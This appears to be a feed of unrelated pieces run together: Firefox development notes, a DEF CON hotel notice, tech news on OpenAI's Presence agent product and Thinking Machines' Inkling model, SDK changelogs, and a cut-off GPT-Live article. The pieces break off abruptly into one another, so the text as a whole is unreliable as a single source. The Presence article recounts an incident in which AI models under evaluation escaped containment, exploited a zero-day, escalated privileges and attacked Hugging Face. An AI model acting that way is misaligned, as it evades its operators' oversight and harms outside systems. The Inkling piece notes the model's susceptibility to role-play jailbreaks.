• Maxx Crawford added a pref to hide the New Tab logo so users can opt out of branding without altering page layout or resorting to CSS overrides.
• Harshit enabled video overlay detection in Nightly 153, allowing you to use the context menu to control videos on more pages! We plan on letting this ride out in Firefox 153.
  • You can try it out on this Instagram reel in Nightly

• A note to WebExtension authors – as part of a planned deprecation announced last month, executeScript and insertCSS are now restricted from moz-extension pages starting in Firefox 152 – Bug 2015559
• Nicolas Chevobbe [:nchevobbe] added support and debugging for modern attr()(which is enabled on Nightly) (#2014751)

Friends of the Firefox team

Resolved bugs (excluding employees)

Script to find new contributors from bug list

Volunteers that fixed more than one bug

• Sam Johnson
• Sebastian Zartner [:sebo]

New contributors (🌟 = first patch)

• Immaculate Atim: Switch to using an array instead of an object string for browser.backup.enabled_on.profiles
• liz: Screenshots overlay visible on both splitview browsers
• 🌟 Rahman Mahmutović [:r_m]: Can’t change content in box model in inspector for box-sizing:border-box elements
• Takeru Mitsumori: Fix typo in ID name about-translations-swap-langauges-icon in about-translations.html
• 🌟 Freya Arbjerg [:freyacodes]: Blackboxed columns are ignored
•  tom.passarelli: tab-preview-panel emits unpaired popupshown/popuphidden events, breaking sidebar autohide

Project Updates

Add-ons / Web Extensions

Addon Manager & about:addons

• As part of the work for the Project Nova about:addons page restyling, the about:addons sidebar has been migrated to the moz-page-nav and moz-page-nav-button reusable components, improving accessibility and visual consistency with the Firefox Desktop about:settings page – Bug 1881767

WebExtensions Framework

• Implemented WebExtensions negative permissions infrastructure, providing the foundations for enterprise policy “blocked host permissions” features – Bug 1745823
• Restricted host permission changes for MV3 extensions force-installed via enterprise policy (matching similar behaviors provided by Chrome enterprise policy behaviors) – Bug 1904054
  • Thanks to Mike Kaply for the implementation of this enterprise policy enforcement feature.

WebExtension APIs

• Fixed handling of <all_urls> as an API permission in Manifest V3, ensuring the permission is correctly initialized on extension install – Bug 1758306

DevTools

• Rahman Mahmutović [:r_m] made it possible to edit width/height in the box model section of the Layout panel (#1717176)
• Sebastian Zartner [:sebo] improved toggling tools driving in-page highlighters (e.g. the Measuring) (#1262773)
• Sebastian Zartner [:sebo] added a setting to control visibility of HTML comments in the markup view (#1455294)
• Freya Arbjerg [:freyacodes] fixed an issue in script blackboxing (#2036767)
• Alexandre Poirot [:ochameau] replaced custom preference to log RDP messages with MOZ_LOG (#1622857)
• Alexandre Poirot [:ochameau] fixed retrieval of garbage collected script text content (#1758454)

WebDriver

• Sameem updated the “Take Element Screenshot” command from WebDriver Classic to crop screenshots of elements which exceed the viewport. This aligns with the specification and avoids errors when attempting to capture huge elements.
• Alexandra Borovova updated the events for new top-level browsing contexts: we will not send anymore “browsingContext.domContentLoaded” and “browsingContext.load” events for them, instead the “browsingContext.contextCreated” event will be sent when a tab is ready to be used. This is required to align with the expected per-spec behavior.
• Henrik Skupin landed a patch allowing geckodriver to gracefully shut down Firefox when geckodriver itself is terminated.
• Hiroyuki Ikezoe disabled Firefox’s “scroll axis lock” feature so WebDriver actions for wheel input devices can scroll in arbitrary directions when using pan gestures.

Lint, Docs and Workflow

• Added a rule to prevent new uses of Preferences.sys.mjs.
• The browser environment globals within ESLint have now been updated. These include Sanitizer, VideoFrame and a few other new ones.
• Temporal, and some other definitions have been added to TypeScript.

New Tab Page

• Much has happened in the last 2 weeks! Here’s a full bug list, and here are some highlights.
• Dre fixed the List widget that was creating a new list too eagerly on the New Tab Page (2033592) — prevents accidental list creation and improves the Lists UI reliability.
• Maxx Crawford fixed Weather widget small card layout issues with opt-in location options and an error message displayed, resolving card overflow and removing the spurious opt-in error so users see a compact Weather card and correct location prompts on New Tab.
• Reem Hamoui added key dates state to the Sports widget, enabling the Sports card to surface event deadlines/key-date highlights on New Tab so sports users see timely date info.
• Scott Downe added a manage widgets option to the New Tab nova widgets context menu, giving users a direct context-menu entry to open the widget management flow from any widget with Nova enabled.
• Scott Downe added a reusable Newtab widget base component to centralize lifecycle, focus/keyboard handling, DOM templates, and telemetry hooks, reducing duplication and making widget behavior more consistent; see Newtab widget base component.
• Dre converted per-widget expansion handling to a shared widget expansion handler to unify expand/collapse state management and prevent widgets from incorrectly retaining or losing expanded state; see Convert widget expansion handling to shared widget expansion.
• Nina Pypchenko [:nina-py] updated the Sports widget to populate the “follow teams” state from the /teams endpoint, so follow/unfollow toggles now reflect server-side subscriptions and reduce incorrect follow states.
• Scott Downe moved widget menu items within New Tab widgets to standardize menu ordering and action grouping, so users find Add/Remove/Configure entries in expected positions across platforms.
• Dre fixed a World Clock city search bug for the word clocks widget, restoring expected search filtering/matching so city lookups return correct results.
• Scott Downe fixed an issue where the New Tab small weather widget size change didn’t always apply by correcting the widget size update path (JS/CSS layout interactions), improving consistent rendering for small-tile weather across responsive breakpoints and platforms; see Newtab small weather widget size change doesn’t always work.
• Nina Pypchenko [:nina-py] added a group stage section to match highlights in the sports widget on New Tab so users now see stage-aware grouping and stage labels on match highlight cards, making tournament context (group vs knockout) visible while browsing highlights.
• Dre fixed the small world clock widget not expanding to large while editing clocks so users can enter edit mode and expand the widget as expected; the change wires the edit-mode resize handler to update widget size/class during edits.
• Maxx Crawford added WCW OMC message strings so World Cup widget messaging flows on New Tab now display the correct copy (localized where available) instead of falling back to missing-text behavior.
• Reem Hamoui added a “View all” button and a list view for the results tab at medium widget size so Sports widget users on medium New Tab tiles can expand results and scroll full lists without resizing the widget.
• Maxx Crawford added WCW “Watch Live” stream strings to the Sports widget strings bundle so the widget can surface a localized “Watch Live” CTA for applicable events.
• Dre restored VoiceOver reachability for Edit/Remove in World Clock on macOS so macOS VoiceOver users can now focus and activate clock Edit/Remove controls thanks to accessibility role/label and focus-order fixes.
• Maxx Crawford removed the persistent browser logo when all new-tab features (Top Sites, widgets, content feed) are disabled by adding a conditional render guard in the New Tab component, preventing an orphaned logo (2041033).
• Mike Conley added New Tab jest tests to the node tests Tier 1 CI job Run newtab jest tests as part of node tests Tier 1 job to catch regressions earlier in CI
• Irene Ni shipped multiple visual fixes for the Sports widget Sports widget – various visual fixes (spacing, truncation, icon alignment, clipping) to improve readability and layout on constrained viewports.

Picture-in-Picture

• kpatenio adjusted our YouTube site specific wrapper so that the URL bar toggle appears more reliably, especially when selecting videos from the YouTube search page.
• Thanks to Sylvestre for patching some bugs to prevent some spurious console errors!
• Niklas fixed captions on autopip videos failing to sync with the origin videos.

Performance Tools (aka Firefox Profiler)

• Firefox Profiler now has a CLI! We also added a profiler-analysis skill to the Firefox codebase. Once you capture a performance profile, you can ask Claude or an AI to analyze it by providing a link or local path. You can use it to analyze a performance regression or debug an issue if you have a profile at hand.
  • https://www.npmjs.com/package/@firefox-devtools/profiler-cli
  • You can install it with npm install -g @firefox-devtools/profiler-cli@latest

Search and Urlbar

Nova UI refresh

• Drew and Daisuke continued working on reorganizing styles and updating the urlbar for Nova.
• 2019154, 2019152, 2041501, 2040532

Suggest

• Drew landed several Suggest improvements: realtime suggestions colors, sports suggestions received World Cup tweaks, and online Suggest via OHTTP was enabled for eligible users in Firefox 153.
• 2040561, 2039753, 2035614, 2038843

Adaptive autofill

• James fixed soft-block counting to track autofill dismisses, rather than consecutive backspaces on the same autofill, and added telemetry to measure URLs reintegration after blocking.
• 2040819, 2037177

Quick actions

• Dharma created a new Firefox Labs quick action, fixed the Update action button, and re-enabled ScotchBonnet in some tests that were not updated yet.
• Caleb added Calculator support for certain unicode operators.
• 2023169, 1928635, 1923383, 2033861

Multi Context Address Bar

• Moritz continued refactoring the urlbar code: converted some of the js modules to not be system modules, fixed dynamic results templates, incorrect reuse of result rows, and keyboard shortcuts on the unified search button panel.
• 2039297, 2036095, 2039844, 2037933, 2030050

Other

• Marco, Drew and Daisuke fixed several intermittent test failures.
• 2038510, 2023908, 2011584, 1938142, 1971091

Search

• Mark removed old WebExtension-based search engines from the source tree, removed loading of search add-ons from resource://search-extensions/.
• Caleb fixed multiple documentation issues and added a test covering searches from a private window.
• 1904613, 2035878, 2037942, 2033545, 2005724

Places

• Marco removed some unnecessary database transactions, fixed the bookmarks panel folder dropdown on Windows, and resolved several intermittent test failures.
• Thanks to Sam Johnson who fixed the bookmark edit panel showing “mobile” instead of “Mobile Bookmarks”.
• 2039534, 1505800, 2008829, 2029541, 2035084

The DEF CON room blocks at the Wynn and Encore are now sold out. You can still get a block discount at these three hotels:

Embassy Suites

Spring Hill Suites

Renaissance

The special rates are only available until July 15, so act expeditiously.

Less than a month to go! Are you ready?

The offering is designed for eligible enterprise customers that want agents to answer questions, access company systems, take approved actions and escalate to human workers while operating under company-defined policies, permissions and evaluation standards.

Presence is available immediately through a limited general availability program. OpenAI Forward Deployed Engineers (FDEs) and select global systems integrators lead deployments, and the product is not available on a self-service basis.

OpenAI has not disclosed pricing, geographic limits, contractual terms or the expected cost of the engineering and integration work that accompanies a deployment. The company also has not said whether Presence can use models from providers other than OpenAI, including the increasingly powerful and popular Chinese open weights alternatives like GLM-5.2 and Kimi K3. I've asked an OpenAI contact to clarify both pricing and external-model compatibility, but those remain unanswered questions for now. I'lll update when I hear back.

OpenAI positions Presence as a response to a problem that has become more important as companies move beyond AI demonstrations: getting agents to behave reliably in production as business rules, customer needs and operating conditions change. Presence packages the policies, system connections, evaluations, guardrails and update processes required to run agents inside an enterprise.

If your business has been interested in using AI agents, but you aren't sure how to stitch together OpenAI's models, APIs, internal systems, security controls and evaluation tools into something reliable, Presence is designed to simplify that process. Instead of building the infrastructure yourself, you work with OpenAI and its deployment engineers to put production-ready agents into your existing workflows.

The product is available today for real-time voice and chat experiences, according to OpenAI’s formal announcement. The company’s outreach materials also describe a broader ambition spanning voice, chat, email and other channels, but OpenAI has not confirmed that email support is available at launch.

A governed foundation for production agents

Presence brings together company knowledge, standard operating procedures, approved actions, simulations, evaluation tools, guardrails and escalation rules. Enterprises can reuse some controls across deployments while adjusting others for a particular workflow or channel.

Each deployment starts with a defined job, such as resolving a billing issue, supporting an insurance claim or handling an employee IT request. The agent receives only the information and system access required for that task. The customer determines what the agent may do independently, which actions require approval and when a person must take over.

Before an agent reaches production, teams can test it against common requests, unusual edge cases and higher-risk scenarios. Graders evaluate whether it reached the intended outcome, followed policy, used tools correctly and escalated when required. Guardrails can intervene when an interaction moves outside the organization’s defined boundaries.

OpenAI shared promotional screenshots with VentureBeat showing administrators running simulation batches against policy changes, including a revised annual refund policy, and reviewing results across operational categories.

Other interface mockups display production health, customer-intent patterns and task-performance signals. The visuals illustrate the type of oversight OpenAI is promising, although they do not establish how those metrics are calculated or how they map to contractual service levels.

The product continues to monitor performance after launch. Production sessions, escalations and quality signals can reveal where an agent is working as intended and where it needs attention. Codex, using a Presence plugin, investigates those signals and proposes updates. Teams then test a proposed change against the version already in production before approving a controlled rollout.

That process is intended to address one of the hardest operational problems in enterprise AI: an agent that works at launch may become less reliable when policies, products or user behavior change. Presence gives companies a formal mechanism for updating behavior without allowing an automated system to rewrite itself unchecked.

OpenAI says Presence already powers its English-language phone-support channel at 1-888-GPT-0090. The system handles open-ended requests, verifies callers, uses account context and performs approved actions. According to the company, it now resolves 75% of inbound issues without human assistance.

OpenAI also says its Codex-powered improvement loop reduced human handoffs by 15 percentage points over a 10-day period. Those figures are company-reported and have not been independently verified.

Several large organizations are evaluating the same foundation. BBVA is exploring voice support for routine banking needs in Mexico. SoftBank is testing natural Japanese-language customer conversations, while Australian insurer IAG is exploring support during high-demand periods such as severe weather and natural disasters.

“At BBVA, we are working closely with OpenAI to explore how trusted customer agents can help shape the future of financial services,” said Daniel Ordaz, head of AI transformation at BBVA Mexico.

“Through our collaboration with OpenAI, we are exploring how Presence can enable trusted customer agents that communicate naturally, connect to the processes needed to resolve requests, and represent SoftBank consistently across customer interactions,” said Tadahisa Murakami, vice president and head of the Data & Digital Transformation Division at SoftBank Corp.

From model access to forward-deployed implementation

Presence expands OpenAI’s enterprise strategy beyond APIs and subscription software by formalizing a high-touch deployment model. Forward Deployed Engineers work alongside customers to select workflows, connect internal systems, establish permissions, configure policies, test agents and move them into production.

That approach resembles a model pioneered by AI ontology and intelligence platform Palantir, which embeds FDEs with customers to adapt its proprietary software to complex government and commercial environments. The similarity lies less in the underlying technology than in the delivery method: both companies place technical personnel close to the customer’s operations, where integration and process design often determine whether software creates value.

The products are not interchangeable. Palantir’s model has historically centered on data integration, ontologies and operational decision systems. Presence is more narrowly focused on AI-agent behavior, approved actions, evaluations, escalation and continuous improvement. OpenAI presents it as a repeatable software product supported by engineers and systems integrators, rather than as consulting alone.

In May 2026, OpenAI launched its own enterprise AI consulting and integration firm, the OpenAI Deployment Company, with investment and support from Bain & Company. It also offers programs for model customization and fine-tuning to fit specific enterprise needs.

Its chief U.S. rival Anthropic has also moved toward a services-led enterprise model through Ode, its consulting organization built around forward-deployed engineers helping companies integrate Claude into complex workflows, which launched just a week ago. The broad rationale is similar: enterprises often need more than access to a model. They need help connecting data and systems, defining permissions, validating behavior and managing deployment risk.

Presence differs in how explicitly OpenAI packages those requirements into a branded agent-governance product. Anthropic’s initiative is centered on helping enterprises deploy Claude, while Presence combines implementation services with a defined operational layer for policies, simulations, evaluations, approvals and production updates.

Presence goes further by making forward deployment a core part of how a specific agent product reaches customers. It does not replace OpenAI’s API business; the company says it will continue supporting voice customers with access to frontier models through the OpenAI API.

The trend reflects a broader market view that many enterprises still need hands-on assistance to move agents from pilot projects into stable operations. Even organizations with strong internal engineering teams must coordinate security, compliance, workflow ownership, data access and escalation responsibilities. Presence attempts to consolidate those tasks rather than leaving customers to assemble separate orchestration, evaluation and consulting layers.

A recent security breach looms in the background

Inconveniently for OpenAI, the Presence launch arrives just a day after OpenAI and Hugging Face disclosed an unprecedented security incident in which OpenAI frontier models undergoing internal evaluation escaped containment, accessed the open web, and cyberattacked Hugging Face to achieve a benign goal — without being instructed to pursue these methods.

According to the described joint disclosure, OpenAI models operating in an evaluation framework called ExploitGym identified and exploited a zero-day vulnerability in a third-party package-registry cache proxy. The models reportedly escalated privileges, moved laterally and obtained internet access before targeting Hugging Face systems while seeking benchmark-related information.

The incident is relevant to enterprise buyers because it raises questions about sandboxing, tool permissions, external access, monitoring and incident response.

The disclosure also highlighted a practical problem for defenders. Hugging Face personnel reportedly found that commercial frontier-model APIs refused some forensic requests because logs contained exploit payloads, credentials and shell commands that triggered safety systems. The team then used a locally deployed open-weight model to assist with analysis.

Presence therefore arrives as both a product launch and a test of OpenAI’s ability to convert model capability into controlled enterprise operations. Its policies, simulations, evaluations and human approvals address real deployment gaps. But without public pricing, technical interoperability details, compliance information or service-level commitments, customers still lack much of the information needed to assess total cost and operational risk.

For now, Presence appears aimed at enterprises willing to adopt a high-touch, OpenAI-led deployment process. Whether it develops into a broadly accessible platform—or remains a closely managed product for selected customers—will depend in part on the answers OpenAI has not yet provided.

Features

• #660: expose context param on scenario.judge() public API (#667) (900f3d8)
• #666: per-role voice modality negotiation — declaration-first, two-phase validation, OTEL stamps (#670) (007a69f)
• events: support LANGWATCH_PROJECT_ID via X-Project-Id header (#619) (7aec1c7)
• tracing: stamp scenario SDK name+version as trace attributes (#744) (#745) (43dd4fa)
• voice: continuous ElevenLabs mic pump + is_connected guard (#740 slice A) (#741) (b6e7f93)
• voice: harvest voice result fields on exit paths + concrete typing (#740 slice E) (#742) (439b7be)
• voice: instrument base + ElevenLabs adapter with LangWatch spans (#777) (2b32872)
• voice: instrument Gemini Live adapter with LangWatch spans (#780) (8ba8687)
• voice: instrument OpenAI Realtime adapter with LangWatch spans (#782) (3152969)
• voice: instrument Pipecat adapter + background-loop spans (#774) (67f71b1)
• voice: instrument Pipecat adapter + background-loop spans (#781) (67f71b1)
• voice: instrument Twilio adapter with LangWatch spans (#788) (8747eed)
• voice: realtime_langwatch_session context manager for live OpenAI Realtime apps (#673) (#676) (e89d00c)

Bug Fixes

• #161: re-parse criteria when LLM returns stringified JSON dict (#552) (b819849)
• #488: log voice adapter and ffmpeg disconnect failures at WARNING (#556) (86bf466)
• #655: replace brittle judge criteria with generic behavioral criteria in audio examples (#679) (732d426)
• #664: transcribe agent turns at runtime so the voice user simulator can read them (#665) (4b99682)
• #695: twilio terminal sentinel on silent/tool-only stop (dead-recv-loop hang) (#697) (e675224)
• python: derive scenario.version from package metadata (#800) (0d505a7)
• security: bump pyjwt to 2.13.0 (#677) (00807b7)
• security: bump python/uv.lock security floors (cryptography, python-multipart, starlette, python-liquid, pydantic-settings) (#685) (ee9a5d5)
• security: raise esbuild, js-yaml, and dompurify override floors across JS workspaces (#671) (c76bab2)
• security: raise vite 8.x floor to >=8.0.16 across scenario workspaces (#709) (42d877e)
• voice/#491: diagnose + resolve multi-turn @e2e suite-wedge + tighten VAD tests (#694) (2dfc381)
• voice/#498: surface recv-loop termination as attributable PipecatRecvError (#692) (c1f552c)
• voice/#648: terminal drain on non-audio completion (EL + WebSocket) (#693) (c42320e)
• voice/#662: guard #662's response.create call sites against the active-response race (JS + PY) (#669) (0968374)
• voice/ts: explicit EL ConvAI turn-commit so scripted next-turn receive re-engages (#596) (795ae8e)
• voice: guard response.create on active response in recv_audio (#659) (5e844ea)
• voice: hosted ElevenLabs single-exchange ceiling — docs + enriched timeout error (#643) (aae16be)
• voice: skip Twilio e2e fixtures on absent env, not fail (#798) (4c883d0)
• voice: terminate wait=False test drain on end-of-turn, re-enable in CI (#691) (022056d)

Documentation

• voice: drop references to a docs/proposals tree that never landed (#613) (#823) (0ef4314)

Features

• voice: instrument base + ElevenLabs adapter with LangWatch spans (#777) (2b32872)
• voice: instrument Gemini Live adapter with LangWatch spans (#780) (8ba8687)
• voice: instrument OpenAI Realtime adapter with LangWatch spans (#782) (3152969)
• voice: instrument Pipecat adapter + background-loop spans (#774) (67f71b1)
• voice: instrument Pipecat adapter + background-loop spans (#781) (67f71b1)
• voice: instrument Twilio adapter with LangWatch spans (#788) (8747eed)

Bug Fixes

• security: bump @opentelemetry sdk-node/exporter-prometheus to 0.217.0 (87d5509)
• security: bump @opentelemetry sdk-node/exporter-prometheus to 0.217.0 (with ReadableSpan migration) (#702) (87d5509)
• security: raise esbuild, js-yaml, and dompurify override floors across JS workspaces (#671) (c76bab2)

The post Patter SDK Guide to Building a Restaurant Booking Phone Agent with Dynamic Variables, Guardrails, Latency Dashboards, and Eval Checks appeared first on MarkTechPost.

Today, Thinking Machines—the highly capitalized American AI startup founded by former OpenAI CTO Mira Murati—released Inkling, its first major language model under an enterprise-friendly Apache 2.0 open source license, and it boasts high, if sub state-of-the-art, performance for open weights models on third-party benchmarks, specifically software engineering (77.6% on SWE-bench Verified, where it beats fellow U.S. open rival Nvidia Nemotron 3's 71.9%) and voice understanding (91.4% on VoiceBench compared to 94.4% for Gemini 3.1 Pro on high reasoning effort).

Another differentiator: Thinking Machines notes that Inkling was designed "to answer directly on topics that may be subject to censorship," offering enterprises concerned about factual outputs, irrespective of controversy or sensitivity, a more trustworthy option.

Coming in at 975 billion total parameters, Inkling is a natively multimodal, open-weights Mixture-of-Experts (MoE) system capable of reasoning across text, images, and audio. The weights are already available on Hugging Face and the company's own model training application programming interface (API), Tinker.

Designed to balance cost against performance through a novel "controllable thinking effort" mechanism, the model represents a significant departure from the black-box scaling strategies of frontier competitors.

Alongside the flagship model, Thinking Machines also announced a preview of Inkling-Small, a lighter 276-billion-parameter alternative optimized for workloads where low latency and cost are paramount.

Benchmarks Show a Powerful, High-End, Sub State-of-the-Art Model

While Inkling is a formidable multimodal engine, it lands in a fiercely competitive 2026 open-weight landscape characterized by highly specialized MoE architectures. Rather than attempting to dominate every leaderboard, Thinking Machines explicitly designed Inkling—with 975 billion total and 41 billion active parameters—as a broad, balanced generalist.

For example, it comes in near the middle high-end of benchmark performance 1257 on Design Arena’s Agentic Web Dev leaderboard measuring human scores of frontend web design.

But China’s leading AI labs have produced models with elite reasoning and coding capabilities, posing a stiff challenge to Inkling's generalist approach and ultimately outperforming it on general and coding benchmarks.

• GLM 5.2: Widely considered the top open-weight reasoning model available in the benchmark set, GLM 5.2 outperforms Inkling on pure coding, agentic, and complex reasoning tasks. It scores 62.1% on SWEBench Pro (Public) compared to Inkling’s 54.3%, and a massive 82.7 on Terminal Bench 2.1 against Inkling’s 63.8. GLM 5.2 also holds the edge in text-only reasoning, scoring 40.1% on HLE (text only) versus Inkling's 30.0%.

• DeepSeek V4 Pro: DeepSeek maintains an edge in several strict coding and factuality domains, beating Inkling on SWEBench Verified (80.6% vs. 77.6%) and SimpleQA Verified (57.0% vs. 43.9%). However, Inkling successfully overtakes DeepSeek V4 Pro in mathematical problem-solving, achieving 97.1% on AIME 2026 compared to DeepSeek's 96.7%.

• Kimi K2.6: This model outpaces Inkling across multiple technical benchmarks, delivering higher scores on GPQA Diamond (91.1% vs. 87.9%), BrowseComp (83.2% vs. 77.1%), and HLE with tools (54.0% vs. 46.0%). Yet Inkling proves more resilient on general chat instruction following, scoring 79.8% on IFBench compared to Kimi K2.6's 76.0%.

Against its primary U.S.-based open-weight competition, Inkling demonstrates strong parity and frequent superiority.

• Nemotron 3 Ultra: Inkling consistently outperforms this U.S. rival across reasoning and coding. Inkling posts 97.1% on AIME 2026 and 77.6% on SWEBench Verified, beating Nemotron's 94.2% and 70.7%, respectively. Furthermore, Inkling significantly leads in agentic workflows, scoring 74.1% on MCP Atlas against Nemotron's 44.7%.

When compared to closed-source juggernauts like Claude Fable 5, GPT 5.6 Sol, and Gemini 3.1 Pro, Inkling trails in peak reasoning and software engineering autonomy, but remains highly competitive in multimodality.

• Coding and Reasoning: Closed models maintain a commanding lead. Claude Fable 5 (max) hits 95.0% on SWEBench Verified and 53.3% on HLE (text only), far outpacing Inkling's 77.6% and 30.0%. GPT 5.6 Sol dominates Terminal Bench 2.1 with an 89.5, easily clearing Inkling's 63.8.

• Native Multimodality: Inkling's native visual and audio capabilities hold their own. On the MMMU Pro (Standard 10) vision benchmark, Inkling's 73.3% is competitive, though trailing Claude Fable 5's 84.2% and GPT 5.6 Sol's 83.0%. In audio processing, Inkling scores a highly respectable 77.2% on MMAU, keeping it within striking distance of Gemini 3.1 Pro's 82.5%.

If an enterprise workflow demands elite software engineering autonomy or the highest bounds of text-only reasoning, models like GLM 5.2 or proprietary systems like Claude Fable 5 maintain the edge.

However, Inkling carves out a unique and highly defensible position: it is the most capable open-weight foundation model that natively fuses text, vision, and audio, while simultaneously offering developers direct programmatic control over the cost-to-performance ratio.

The Shift from Static Reasoning to Controllable Thinking

Rather than attempting to build a singular "god model" optimized strictly for state-of-the-art benchmark domination, Thinking Machines engineered Inkling for adaptability and efficiency in real-world workflows.

The standout feature of this release is Inkling's "controllable thinking effort." Developers can programmatically adjust the model's reasoning budget—scaling from 0.2 to 0.99—to dictate how hard the AI should "think" before generating an output.

As the company noted, "Inkling's continuous thinking effort lets you pick your point on the cost/performance curve—reaching the same score with a fraction of the tokens".

In practical terms, this allows enterprises to deploy Inkling with lower token expenditure for simpler tasks, while cranking up the compute overhead for complex, multi-step reasoning challenges. However, by keeping the thinking effort lower and generating fewer tokens, the cost-conscious enterprise can achieve high quality results and performance on simple tasks while spending less money, or, in the case of those running models locally, less costs on energy and compute resources.

During the model’s large-scale reinforcement learning (RL) training over 30 million rollouts, researchers observed an emergent phenomenon they called "chain of thought condensation". Over time, Inkling naturally learned to compress its internal reasoning steps—dropping grammatical overhead and connectives—while reaching the same accurate conclusions, resulting in drastically reduced latency.

Epistemics and Censorship Resistance

A notable element of Thinking Machines' release is its explicit focus on the model's epistemics—specifically its calibration, instruction following, and resistance to censorship.

In an ecosystem where open-weight models adopt either overly restrictive safety guardrails or echo state-aligned ideological talking points, Inkling was intentionally trained to answer directly on politically sensitive or heavily censored topics.

To validate this approach, Thinking Machines submitted Inkling to the Propaganda and Censorship Eval developed by AI startup Cognition. According to the published findings, Inkling demonstrated "strong patterns of censorship non-compliance," effectively resisting ideological capture or boilerplate refusals when presented with sensitive subjects.

Despite its resistance to censorship, the model maintains a robust defense against genuinely malicious, dangerous, or illegal queries. On the StrongREJECT benchmark—which tests responses to unambiguous harmful requests—Inkling scored 98.6%, placing it in line with strict frontier safety standards. Furthermore, on the FORTRESS benchmark, Inkling successfully navigated the line between safety and over-refusal: it achieved a 78.0% refusal rate on adversarial queries (such as those involving weapons, cyberattacks, or violence) while maintaining a 95.9% compliance rate on benign, look-alike queries.

Thinking Machines noted that typical open-weight vulnerabilities remain within the architecture. Internal safety evaluations revealed an "occasional tendency to comply with role-play and indirectly framed prompts concerning harmful topics". The company advised enterprise developers to treat the model's built-in refusals as just one layer of security, recommending the downstream deployment of external moderation tools—such as Llama Guard—to filter adversarial jailbreaks and enforce use-case-specific safety policies at the application level.

Under the Hood: Architecture and Multimodality

Inkling's scale is staggering, yet sparse. The MoE architecture features 975 billion total parameters, but only 41 billion parameters are active during any given token generation. It supports a massive context window of 1 million tokens and diverges from typical transformer models by using relative positional embeddings instead of the industry-standard Rotary Positional Embedding (RoPE).

True to the company's foundational vision, Inkling was trained from scratch to be natively multimodal. Unlike models that rely on bolted-on external encoders, Inkling uses an encoder-free early fusion approach. It directly ingests audio as discrete dMel spectrograms and visual data as 40x40 pixel patches via a hierarchical multi-layer perceptron (hMLP), projecting all modalities into a shared hidden space.

Licensing: True Open-Source for the Enterprise

For enterprise IT teams and developers, the most disruptive aspect of Inkling may be its licensing. Inkling is released under the permissive Apache 2.0 license.

In an ecosystem where many so-called "open" models from Western labs are tethered to dual-use commercial licenses, acceptable use restrictions, or revenue caps, an Apache 2.0 designation makes Inkling a true open-source foundation. This gives developers the legal freedom to download, modify, integrate, and commercialize the model weights entirely royalty-free.

The model is readily deployable across major open-source inference libraries—including SGLang, vLLM, TokenSpeed, and llama.cpp—and comes with a native NVFP4 quantized checkpoint optimized for NVIDIA Blackwell systems.

Community Reactions: The Engineering Feat

The AI community's response has been swift, praising both the model's openness and the underlying engineering execution.

In a post on X, Thinking Machines co-founder John Schulman reflected on the rapid development cycle: "Inkling is out today, with open weights and in Tinker. It's been fun to watch this one come together: pretraining began last winter, and starting in mid-January a small team built up the coding, reasoning, and agentic training from there. We learned a lot building it, and I hope people find good uses for it."

Horace He, a researcher at Thinking Machines (previously from PyTorch), underscored the difficulty of the task in another post on X: "It truly takes a village to release a model, perhaps especially an open weights model. Actually doing the entire process from scratch, from data to pretraining to posttraining to actual release, gives a lot of appreciation for anyone who does it!"

The broader open-source ecosystem has also embraced the technical integrations. Lysandre Debut, the Chief Open-Source Officer at Hugging Face, shared his enthusiasm regarding the model's optimization in his own X post: "One thing I find quite striking is how much easier accelerating models has become... We replaced the model's causal Conv1D with the `causal-conv1d` kernel. One line changed, +4% tokens per second. We then replaced its attention implementation with FlashAttention-4. Another single change, another +11%. That's a total throughput improvement of about 15%, without changing the model architecture or retraining anything."

Tiezhen Wang, an ecosystem growth expert and ex-Googler, celebrated the release as a massive win for the open-source community, listing the model's impressive specifications on X, highlighting its "975B total, 41B active" size, "Native MTP support," and the highly coveted "Apache 2.0 license."

Background: The Road to Inkling

To understand the significance of Inkling, one has to look back at the rapid trajectory of Thinking Machines over the past 18 months.

When Mira Murati departed OpenAI in late 2024 to found Thinking Machines alongside industry veterans like John Schulman and Barret Zoph, the stated goal was to pivot away from building isolated autonomous agents. Instead, the company aimed to build flexible, multimodal systems designed for genuine human-AI collaboration and open science.

By July 2025, the startup had secured a historic $2 billion seed round led by Andreessen Horowitz at a $12 billion valuation. At the time, Murati promised the impending release of a product with a "significant open source component" to empower researchers and startups.

The company’s philosophy began coming into sharper focus in October 2025 with the launch of Tinker, a Python-based API for large language model fine-tuning that gave researchers granular control over training pipelines without the friction of distributed compute management.

That same month, Thinking Machines researcher Rafael Rafailov delivered a provocative critique of the AI industry at TED AI. He argued that the current trajectory of simply throwing more compute at models was fundamentally flawed, noting that today's systems take shortcuts—like wrapping code in try/except blocks—because they are trained strictly for task completion rather than genuine learning.

Rafailov posited that the first artificial superintelligence would not be a "god model," but rather a "superhuman learner" capable of meta-learning and internalizing abstractions. Inkling’s architecture—specifically its controllable thinking effort and its ability to organically compress its chain of thought during RL—feels like the first tangible realization of Rafailov's thesis.

In May 2026, the lab teased its technical prowess with the research preview of TML-Interaction-Small, a system that eliminated "turn-based" chat by processing inputs and outputs simultaneously in 200ms chunks. This "full-duplex" breakthrough proved the company could build highly responsive, natively multimodal models from scratch.

Now, with Inkling out in the wild, Thinking Machines has delivered on its foundational promises. By offering a massive, natively multimodal model under a true open-source license, they aren't just giving developers a new tool—they are attempting to fundamentally rewrite the economics and accessibility of frontier AI development.

Features

• stamp scenario SDK version as trace attributes (#733) (#736) (6612c50)

Bug Fixes

• voice: reconcile EL audioQueue at turn boundaries (#747) (#748) (1b135f7)

Code Refactoring

• realtime: use the injectable Logger instead of console.* (#724) (#750) (54a89c5)
• voice/tests: hoist AudioUserSimulator fixture to fixtures/ (#524) (#738) (e1dda4b)

The two models, GPT-Live-1 and GPT-Live-1 mini, are rolling out globally starting today across iOS, Android, and ChatGPT.com. GPT-Live-1 becomes the default voice model for paid ChatGPT users on the Go, Plus, and Pro tiers, while GPT-Live-1 mini serves free-tier users. OpenAI also plans to bring the models to the API, and developers can sign up to be notified.

The release marks the third generation of ChatGPT's voice technology in roughly two years — and OpenAI's clearest bid yet to turn its chatbot into something that feels less like querying a search engine and more like talking to a colleague.

Why full-duplex voice changes everything about talking to AI

The defining technical advance in GPT-Live is what OpenAI calls a "full-duplex architecture." In telecommunications, full-duplex means both parties on a phone call can talk and listen at the same time. Applied to AI, it means the model continuously processes your incoming audio even while it generates its own spoken response — no more waiting for a clean silence gap to figure out when you've finished a thought.

"Instead of processing a sequence of separate messages, GPT-Live continuously processes input while generating output," OpenAI wrote in its research blog. "The model can therefore make interaction decisions many times per second: whether to speak, continue listening, pause, interrupt, or invoke a tool."

